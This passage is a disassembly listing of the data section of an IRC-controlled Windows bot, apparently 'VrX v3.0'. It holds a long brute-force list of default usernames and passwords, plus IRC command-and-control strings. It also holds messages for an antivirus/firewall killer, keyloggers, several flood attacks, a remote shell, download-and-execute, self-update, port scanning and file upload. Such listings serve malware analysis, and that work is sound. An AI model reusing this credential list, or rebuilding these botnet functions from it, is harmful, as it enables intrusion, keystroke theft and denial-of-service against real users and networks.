aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
